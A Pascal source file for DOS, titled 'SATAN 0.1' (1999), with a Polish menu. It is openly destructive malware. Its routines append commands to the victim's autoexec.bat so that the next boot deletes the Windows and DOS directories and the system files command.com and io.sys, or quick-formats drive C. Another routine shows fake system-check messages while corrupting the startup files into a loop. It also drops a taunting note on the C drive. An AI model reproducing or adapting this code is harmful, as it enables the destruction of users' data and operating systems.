uses dos;

{ WARNING, DANGEROUS SOFTWARE }

var t,demo:text;c:char;
procedure dod;
 begin
  assign(demo,'c:\!czytaj.!!!');
  rewrite(demo);
  writeln(demo,'Szkody zostaly wyrzadzone przez program SATAN 0.1, Nail (c) 1999 ');
  close(demo);
 end;
procedure wymaz;
  begin
    assign(t,'c:\autoexec.bat');
    append(t);
    writeln(t,'deltree  /y c:\windows      >NuL');
    writeln(t,'deltree  /y c:\win98        >NuL');
    writeln(t,'deltree  /y c:\win95        >NuL');
    writeln(t,'deltree  /y c:\win311       >NuL');
    writeln(t,'deltree  /y c:\win          >NuL');
    writeln(t,'deltree  /y c:\winnt        >NuL');
    writeln(t,'deltree  /y c:\dos          >NuL');
    writeln(t,'del      /y c:\command.com  >NuL');
    writeln(t,'del      /y c:\io.sys       >NuL');
    writeln(t,'del      /y c:\autoexec.bat >NuL');
    close(t);
    dod;
  end;
procedure format;
  begin
    assign(t,'c:\autoexec.bat');
    append(t);
    writeln(t,'echo t | format c: /q >NUL');
    close(t);
  end;
procedure sys;
  begin
       assign(t,'c:\autoexec.bat');
       append(t);
       writeln(t,'echo Verifying your system, please wait...');
       writeln(t,'echo System veryfied.');
       writeln(t,'echo Synchronizing drive c:');
       writeln(t,'echo Do not interrupt this operation!');
       writeln(t,'echo DAMAGED BOOT SECTOR, DISK UNUSABLE > config.sys');
       writeln(t,'echo dir c:\ /s > autoexec.bat');
       writeln(t,'echo call autoexec.bat >> autoexec.bat');
       writeln(t,'echo dir c:\ /s > autoexec.bat');
       writeln(t,'echo Drive C: synchronized, loading system now...');
  end;
procedure wyk;
 begin
   writeln('Zadanie wykonane...');

 end;
procedure menu;
 begin

   writeln('1 - Wymazywanie systemu operacujnego');
   writeln('2 - Formatowanie dysku twardego');
   writeln('3 - Zabawa z plikami startowymi...');
   writeln('Q - Wyjscie');
   writeln('SATAN (Security Administrators Tool for Agonising Networks) versja 0.1 by Nail (c) 1999 ');
   readln(c);

 end;
begin
   menu;
   repeat
   if c='1' then
   begin
   wymaz;
   dod;
   wyk;
   menu;
   end;
   begin
   end;
   if c='2' then
   begin
   format;
   dod;
   wyk;
   menu;
   end;
   if c='3' then
   begin
   sys;
   dod;
   wyk;
   menu;
   end;
   until c='q';
end.